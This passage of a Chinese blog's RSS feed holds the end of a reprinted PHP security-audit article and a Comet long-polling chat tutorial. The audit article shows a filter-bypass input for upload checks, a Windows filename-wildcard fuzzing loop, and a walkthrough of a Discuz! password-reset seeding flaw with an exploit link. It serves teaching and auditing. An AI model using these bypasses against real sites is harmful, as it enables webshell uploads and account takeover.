/>符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视，这个<br />主要体现在上传文件或者写文件上，导致直接写webshell。另外对于windows系统对“.\..\”<br />进行系统转跳等等。<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;下面还给大家介绍一个非常有意思的问题：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//Is this code vul?<br />if( eregi(&quot;.php&quot;,$url) ){<br />&nbsp;&nbsp; &nbsp;die(&quot;ERR&quot;);<br />}<br />$fileurl=str_replace($webdb[www_url],&quot;&quot;,$url);<br />.....<br />header(&quot;Content-Disposition: attachment; filename=&quot;.$filename);<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;很多人看出来了上面的代码的问题，程序首先禁止使用“.php”后缀。但是下面居然接了<br />个str_replace替换$webdb[www_url]为空，那么我们提交“.p$webdb[www_url]hp”就可以饶过<br />了。那么上面的代码杂fix呢？有人给出了如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$fileurl=str_replace($webdb[www_url],&quot;&quot;,$url);<br />if( eregi(&quot;.php&quot;,$url) ){<br />&nbsp;&nbsp; &nbsp;die(&quot;ERR&quot;);<br />}<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;str_replace提到前面了，很完美的解决了str_replace代码的安全问题，但是问题不是那<br />么简单，上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: Maroon;">255</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$url</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">1.ph</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$tmp</span><span style="color: Gray;"> = @</span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$url</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Green;">empty</span><span style="color: Olive;">(</span><span style="color: #00008b;">$tmp</span><span style="color: Olive;">))</span><span style="color: Gray;"> </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; <br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;我们在windows系统运行上面的代码得到如下字符* &lt; &gt; ? P p都可以打开目录下的1.php。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：文读取件操作函数<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />六、怎么进一步寻找新的字典<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;上面我们列举很多的字典，但是很多都是已经公开过的漏洞或者方式，那么我们怎么进一<br />步找到新的字典或者利用方式呢？<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;* 分析和学习别人发现的漏洞或者exp，总结出漏洞类型及字典。<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式。<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* fuzz php的函数，找到新的有问题的函数（不一定非要溢出的），如上一章的4.6的部分<br />很多都可以简单的fuzz脚本可以测试出来。<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* 分析php源代码，发现新的漏洞函数“特性”或者漏洞。（在上一节里介绍的那些“漏洞审<br />计策略”里，都没有php源代码的分析，如果你要进一步找到新的字典，可以在php源代码的基础<br />上分析下成因，然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。）（我们以后会<br />陆续公布一些我们对php源代码的分析）<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* 有条件或者机会和开发者学习，找到他们实现某些常用功能的代码的缺陷或者容易忽<br />视的问题<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* 你有什么要补充的吗？ ：）<br />&nbsp; <br />&nbsp;<br />七、DEMO<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;* DEMO -- Discuz! Reset User Password 0day Vulnerability 分析<br />&nbsp;&nbsp; &nbsp;（Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt）<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;PHP版本要求:php4 php5&lt;5.2.6<br />&nbsp;&nbsp; &nbsp;系统要求: 无<br />&nbsp;&nbsp; &nbsp;审计策略:查找mt_srand/mt_rand<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;第一步 安装Discuz! 6.1后利用grep查找mt_srand得到：<br />&nbsp;<br />-------------------------------------------------------------------------------<br />heige@heige-desktop:~/dz6/upload$ grep -in &quot;mt_srand&quot; -r ./ --colour -5<br />./include/global.func.php-694-&nbsp; $GLOBALS[&quot;rewritecompatible&quot;] &amp;&amp; $name = rawurlencode($name);<br />./include/global.func.php-695-&nbsp; return &quot;&lt;a href=&quot;tag-&quot;.$name.&quot;.html&quot;&quot;.stripslashes($extra).&quot;&gt;&quot;;<br />./include/global.func.php-696-}<br />./include/global.func.php-697-<br />./include/global.func.php-698-function random($length, $numeric = 0) {<br />./include/global.func.php:699:&nbsp; PHP_VERSION &lt; &quot;4.2.0&quot; &amp;&amp; mt_srand((double)microtime() * 1000000);<br />./include/global.func.php-700-&nbsp; if($numeric) {<br />./include/global.func.php-701-&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $hash = sprintf(&quot;%0&quot;.$length.&quot;d&quot;, mt_rand(0, pow(10, $length) - 1));<br />./include/global.func.php-702-&nbsp; } else {<br />./include/global.func.php-703-&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $hash = &quot;&quot;;<br />./include/global.func.php-704-&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $chars = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz&quot;;<br />--<br />./include/discuzcode.func.php-30-<br />./include/discuzcode.func.php-31-if(!isset($_DCACHE[&quot;bbcodes&quot;]) || !is_array($_DCACHE[&quot;bbcodes&quot;]) || !is_array($_DCACHE[&quot;smilies&quot;])) {<br />./include/discuzcode.func.php-32-&nbsp; &nbsp; &nbsp; &nbsp;@include DISCUZ_ROOT.&quot;./forumdata/cache/cache_bbcodes.php&quot;;<br />./include/discuzcode.func.php-33-}<br />./include/discuzcode.func.php-34-<br />./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);<br />./include/discuzcode.func.php-36-<br />./include/discuzcode.func.php-37-function attachtag($pid, $aid, &amp;$postlist) {<br />./include/discuzcode.func.php-38-&nbsp; &nbsp; &nbsp; &nbsp;global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;<br />./include/discuzcode.func.php-39-&nbsp; &nbsp; &nbsp; &nbsp;$attach = $postlist[$pid][&quot;attachments&quot;][$aid];<br />./include/discuzcode.func.php-40-&nbsp; &nbsp; &nbsp; &nbsp;if($attach[&quot;attachimg&quot;]) {<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;有两个文件用到了mt_srand()，第1是在./include/global.func.php的随机函数random()里：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />&nbsp;PHP_VERSION &lt; &quot;4.2.0&quot; &amp;&amp; mt_srand((double)microtime() * 1000000);<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;判断了版本，如果是PHP_VERSION &gt; &quot;4.2.0&quot;使用php本身默认的播种。从上一章里的分<br />析我们可以看得出来，使用php本身默认的播种的分程序两种情况：<br />&nbsp;<br />1) &quot;Cross Application Attacks&quot; 这个思路是只要目标上有使用使用的程序里定义了类似<br />mt_srand((double)microtime() * 1000000)的播种的话，又很有可能被暴力。在dz这里不需<br />要Cross Application，因为他本身有文件就定义了，就是上面的第2个文件： <br />&nbsp;<br />--code-------------------------------------------------------------------------<br />./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;这里我们肯定dz是存在这个漏洞的，文章给出来的exp也就是基于这个的。（具体exp利用<br />的流程有兴趣的可以自己分析下]）<br />&nbsp;<br />2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义，那么dz就<br />不存在漏洞，这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义，再次不<br />利用&quot;Cross Application Attacks&quot;，5.2.6&gt;php&gt;4.2.0 php本身默认播种的算法也不是很强<br />悍（分析详见上），也是有可以暴力出来，只是速度要慢一点。<br />&nbsp;<br />&nbsp;<br />八、后话<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;本文是80vul的三大马甲：80vul-A，80vul-B，80vul-C集体智慧的结晶，尤其是80vul-B贡<br />献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者，没有他们的成果也就<br />没有本文。本文没有写“参考”，因为本文是一个总结性的文挡，有太多的连接需要提供限于篇<br />幅就没有一一列举，有心的读者可以自行google。另外原本没有打算公布此文，因为里面包含<br />了太多应用程序的0day，而且有太多的不尊重别人成果的人，老是利用从别人那学到的技术来<br />炫耀，甚至牟取利益。在这里我们希望你可以在本文里学到些东西，更加希望如果通过本文你<br />找到了某些应用程序的0day，请低调处理，或者直接提交给官方修补，谢谢大家！！<br />&nbsp;<br />&nbsp;<br />九、附录<br />&nbsp;<br />[1] http://bbs.phpchina.com/attachment.php?aid=22294<br />[2] http://www.php-security.org/<br />[3] http://bugs.php.net/bug.php?id=40114<br />&nbsp;<br />-EOF-<br />&nbsp;<br />原文：http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x06.html</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/php-security-ph4nt0m/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>利用AJAX模拟HTTP长连接(LongPoll)来实现&#8221;服务器推&#8221;技术</title>
		<link>http://www.ieliwb.com/comet-ajax-longpoll-push/</link>
		<comments>http://www.ieliwb.com/comet-ajax-longpoll-push/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 04:10:46 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[Js/Css/Html/Xml]]></category>
		<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[Comet]]></category>
		<category><![CDATA[http长连接]]></category>
		<category><![CDATA[longpoll]]></category>

		<guid isPermaLink="false">http://www.ieliwb.com/%e5%88%a9%e7%94%a8ajax%e6%a8%a1%e6%8b%9fhttp%e9%95%bf%e8%bf%9e%e6%8e%a5longpoll%e6%9d%a5%e5%ae%9e%e7%8e%b0%e6%9c%8d%e5%8a%a1%e5%99%a8%e6%8e%a8%e6%8a%80%e6%9c%af/</guid>
		<description><![CDATA[<blockquote>Comet（彗星：某人给服务器推送技术起的名字）</blockquote>

<strong>核心图解：</strong>
<img src="http://www.ieliwb.com/u/img/ajax-long-polling.jpg" alt="long-polling" />

<blockquote>最近在看“服务器推送技术”，在B/S结构中，通过某种magic使得客户端不需要通过轮询即可以得到服务端的最新信息（比如股票价格，聊天室，webQQ、开心网、白社会），这样可以节省大量的带宽。
 
传统的轮询技术对服务器的压力很大，并且造成带宽的极大浪费。如果改用ajax轮询，可以降低带宽的负荷（因为服务器返回的不是完整页面），但是对服务器的压力并不会有明显的减少。
 
而推技术（push）可以改善这种情况。但因为HTTP连接的特性（短暂，必须由客户端发起），使得推技术的实现比较困难，常见的做法是通过延长http连接的寿命，来实现push。</blockquote>[......]<p class='read-more'><a href='http://www.ieliwb.com/comet-ajax-longpoll-push/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Comet（彗星：某人给服务器推送技术起的名字）</p></blockquote>
<p><strong>核心图解：</strong><br />
<img src="http://www.ieliwb.com/u/img/ajax-long-polling.jpg" alt="long-polling" /></p>
<blockquote><p>最近在看“服务器推送技术”，在B/S结构中，通过某种magic使得客户端不需要通过轮询即可以得到服务端的最新信息（比如股票价格，聊天室，webQQ、开心网、白社会），这样可以节省大量的带宽。</p>
<p>传统的轮询技术对服务器的压力很大，并且造成带宽的极大浪费。如果改用ajax轮询，可以降低带宽的负荷（因为服务器返回的不是完整页面），但是对服务器的压力并不会有明显的减少。</p>
<p>而推技术（push）可以改善这种情况。但因为HTTP连接的特性（短暂，必须由客户端发起），使得推技术的实现比较困难，常见的做法是通过延长http连接的寿命，来实现push。</p></blockquote>
<p><strong>基本实现原理：</strong></p>
<blockquote><p>接下来自然该讨论如何延长http连接的寿命，最简单的自然是死循环法，如果使用观察者模式则可以进一步提高性能。</p>
<p>但是这种做法的缺点在于客户端请求了这个servlet后，web服务器会开启一个线程执行servlet的代码，而servlet由迟迟不肯结束，造成该线程也无法被释放。于是乎，一个客户端一个线程，当客户端数量增加时，服务器依然会承受很大的负担。</p>
<p>要从根本上改变这个现象比较复杂，目前的趋势是从web服务器内部入手，用nio（JDK 1.4提出的java.nio包）改写request/response的实现，再利用线程池增强服务器的资源利用率，从而解决这个问题，目前支持这一非J2EE官方技术的服务器有Glassfish和Jetty。目前也有一些框架/工具可以帮助你实现推功能，比如pushlets。不过没有深入研究。还有就是通过设置超时来解决。</p></blockquote>
<p><strong>在客户和服务器之间保持“心跳”信息 &#8212;&#8211;无事件导致超时处理：</strong></p>
<blockquote><p>因为服务器为了保持请求（阻塞请求），必须有一个无限循环，循环的结束条件就是获取到了返回结果，如果客户端关闭了（客户端浏览器的关闭不会发消息给服务器），服务器无法知道客户端已经关了，这个请求没必要处理下去了，最终会造成资源过度浪费。还有服务器中间可能存在各式各样配置怪异的网关和代理，它们上面可能有各式各样的超时规则，因此Comet最好设计为定期重连。只要用一个折中的办法，限制超时时间。一般情况下，如果30秒没有任何事件发生，服务器端就应该通知客户端确实没有事件发生，结束掉本次请求，然后重新开始一次新的请求以便继续等待。这里可以不必设置客户端ajax的超时时间，但进行请求的时候传递一个超时值给服务器，服务器在处理的时候，如果超时时间到了的话，还没有客户端需要的结果，这时传递一个超时信息给客户端，客户端接收到了此信息，根据情况重新进行ajax请求，也就是进入下一个轮询&#8230;&#8230;&#8230;.当服务器处理信息出现异常情况，需要发送错误信息通知客户端，同时释放资源、关闭连接。</p></blockquote>
<p><strong>服务器端事件队列管理以及如何保持可靠的消息队列:</strong></p>
<blockquote><p>由于ajax的LongPoll是拉的方式(不同的客户端拉取的参数可以根据客户端不同而不同)，服务器端根据客户选择的方式在读取事件队列（fetchEvents）时进行不同的处理，会把“heartbeat”与“refresh”事件一起传给客户端，通知客户端重新发出请求、建立连接。拉的同时也解决了发送目标的返回值。</p>
<p>在这里我们可以想象一个可能发生的情况，服务器端向你发送一个消息，你没有成功接收，但是服务器端认为发送了就成功了，消息从队列删除了，然后这个消息就永久丢失掉了。可能有人会强调TCP多么可靠，服务器端发送的消息如果在TCP的层面发生问题了，肯定会引发Socket级别的Exception，这个Exception冒泡上来，服务器端就能截获，从而得知发送失败，然后先不删除队首消息。可是别忘了，中间是可能存在代理的，如果代理成功把消息收回去了，可是代理发送到客户端这一步失败了，服务器端就不一定会发生异常了。</p>
<p>因此，我们需要制定一种策略，来确保下行消息总能发送到客户端。在这里，我们选择了引入逐个ACK的机制，来确认消息的接收。也就是说，服务器端发送给客户端的消息带有一个序号，在客户端收到消息后就将该序号发回给服务器端，已确认它受到了该消息。在下次请求时就将该序号加1的值通过sequence参数传递回去，让服务器知道我们期望下一条消息的编号是这个。例如我们收到Message，其Sequence属性为836，那么下一次调用的时候就传给服务器837。服务器端此时应该保留了编号为836的Message在对首，如果客户端继续请求836号消息，证明它上次没收到，这次仍然发送836号消息给它；如果客户端请求837号消息，证明它成功收到836号消息的，这次就发送837号消息给它。看到这里是不是感觉有点熟悉了，不错，这有点类似经典的TCP三握手原理。如果都不是，那该怎么办？那意味着，这是一个错误的请求，甚至可能是攻击请求，因为正常情况下不应该出现这样的请求的，服务器端可以考虑抛个无关紧要的Exception（不要告诉攻击者你知道他在攻击了），甚至直接给个400 （bad request）的响应代号。</p></blockquote>
<p><strong>国外一个简单的聊天室例子：</strong><br />
我们需要4个文件:<br />
A file to exchange data (data.txt)<br />
A PHP script that will handle the persistent http request (backend.php)<br />
A HTML file that will load Javascript code and that will show the data coming from the server (index.html)<br />
The prototype library that will help us to write simple JS code</p>
<p><strong>服务端backend.php：</strong><br />
做2件事：<br />
Write into “data.txt” when new messages are sent<br />
Do an infinite loop as long as “data.txt” file is unchanged</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp; </span><span style="color: #00008b;">$filename</span><span style="color: Gray;">&nbsp; = </span><span style="color: Blue;">dirname</span><span style="color: Olive;">(</span><span style="color: Green;">__FILE__</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">/data.txt</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp; </span><span style="color: #ffa500;">// store new message in the file</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: #00008b;">$msg</span><span style="color: Gray;"> = </span><span style="color: Green;">isset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">msg</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;"> ? </span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">msg</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> : </span><span style="color: #8b0000;">''</span><span style="color: Gray;">;<br />&nbsp; </span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$msg</span><span style="color: Gray;"> != </span><span style="color: #8b0000;">''</span><span style="color: Olive;">)</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">file_put_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filename</span><span style="color: Gray;">,</span><span style="color: #00008b;">$msg</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">die</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp; </span><span style="color: #ffa500;">// infinite loop until the data file is not modified</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: #00008b;">$lastmodif</span><span style="color: Gray;">&nbsp; &nbsp; = </span><span style="color: Green;">isset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">timestamp</span><span style="color: #8b0000;">'</span><span style="color: Olive;">])</span><span style="color: Gray;"> ? </span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">timestamp</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> : </span><span style="color: Maroon;">0</span><span style="color: Gray;">;<br />&nbsp; </span><span style="color: #00008b;">$currentmodif</span><span style="color: Gray;"> = </span><span style="color: Blue;">filemtime</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filename</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp; </span><span style="color: Green;">while</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: #00008b;">$currentmodif</span><span style="color: Gray;"> &lt;= </span><span style="color: #00008b;">$lastmodif</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: #ffa500;">// check if the data file has been modified</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">usleep</span><span style="color: Olive;">(</span><span style="color: Maroon;">10000</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">// sleep 10ms to unload the CPU</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Blue;">clearstatcache</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$currentmodif</span><span style="color: Gray;"> = </span><span style="color: Blue;">filemtime</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filename</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp; </span><span style="color: #ffa500;">// return a json array</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: #00008b;">$response</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp; </span><span style="color: #00008b;">$response</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">msg</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;= </span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$filename</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp; </span><span style="color: #00008b;">$response</span><span style="color: Olive;">[</span><span style="color: #8b0000;">'</span><span style="color: Red;">timestamp</span><span style="color: #8b0000;">'</span><span style="color: Olive;">]</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$currentmodif</span><span style="color: Gray;">;<br />&nbsp; </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">json_encode</span><span style="color: Olive;">(</span><span style="color: #00008b;">$response</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp; </span><span style="color: Blue;">flush</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp; </span><span style="color: Blue;">?&gt;</span></div></div>
<p>客户端index.html：</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Olive;">&lt;</span><span style="color: Gray;">!</span><span style="color: #00008b;">DOCTYPE</span><span style="color: Gray;"> </span><span style="color: #00008b;">html</span><span style="color: Gray;"> </span><span style="color: #00008b;">PUBLIC</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">-//W3C//DTD XHTML 1.1//EN</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: Olive;">&lt;</span><span style="color: Green;">html</span><span style="color: Gray;"> </span><span style="color: #00008b;">xmlns</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">http://www.w3.org/1999/xhtml</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">&lt;</span><span style="color: Green;">head</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">&lt;</span><span style="color: Green;">title</span><span style="color: Olive;">&gt;</span><span style="color: Gray;">Comet demo</span><span style="color: Olive;">&lt;/</span><span style="color: Green;">title</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">&lt;</span><span style="color: Green;">meta</span><span style="color: Gray;"> </span><span style="color: #00008b;">http-equiv</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Content-Type</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #00008b;">content</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">text/html; charset=utf-8</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: Olive;">/&gt;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">&lt;</span><span style="color: Green;">script</span><span style="color: Gray;"> </span><span style="color: #00008b;">type</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">text/javascript</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #00008b;">src</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">prototype.js</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">&gt;&lt;/</span><span style="color: Green;">script</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">&lt;/</span><span style="color: Green;">head</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">&lt;</span><span style="color: Green;">body</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp; </span><span style="color: Olive;">&lt;</span><span style="color: Green;">div</span><span style="color: Gray;"> </span><span style="color: #00008b;">id</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">content</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: Olive;">&lt;/</span><span style="color: Green;">div</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;<br />&nbsp; </span><span style="color: Olive;">&lt;</span><span style="color: Green;">p</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">&lt;</span><span style="color: Green;">form</span><span style="color: Gray;"> </span><span style="color: #00008b;">action</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;"> </span><span style="color: #00008b;">method</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">get</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #00008b;">onsubmit</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">comet.doRequest($('word').value);$('word').value='';return false;</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">&gt;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">&lt;</span><span style="color: Green;">input</span><span style="color: Gray;"> </span><span style="color: #00008b;">type</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">text</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #00008b;">name</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">word</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #00008b;">id</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">word</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #00008b;">value</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;"> </span><span style="color: Olive;">/&gt;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">&lt;</span><span style="color: Green;">input</span><span style="color: Gray;"> </span><span style="color: #00008b;">type</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">submit</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #00008b;">name</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">submit</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: #00008b;">value</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Send</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: Olive;">/&gt;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">&lt;/</span><span style="color: Green;">form</span><span style="color: Olive;">&gt;</span><span 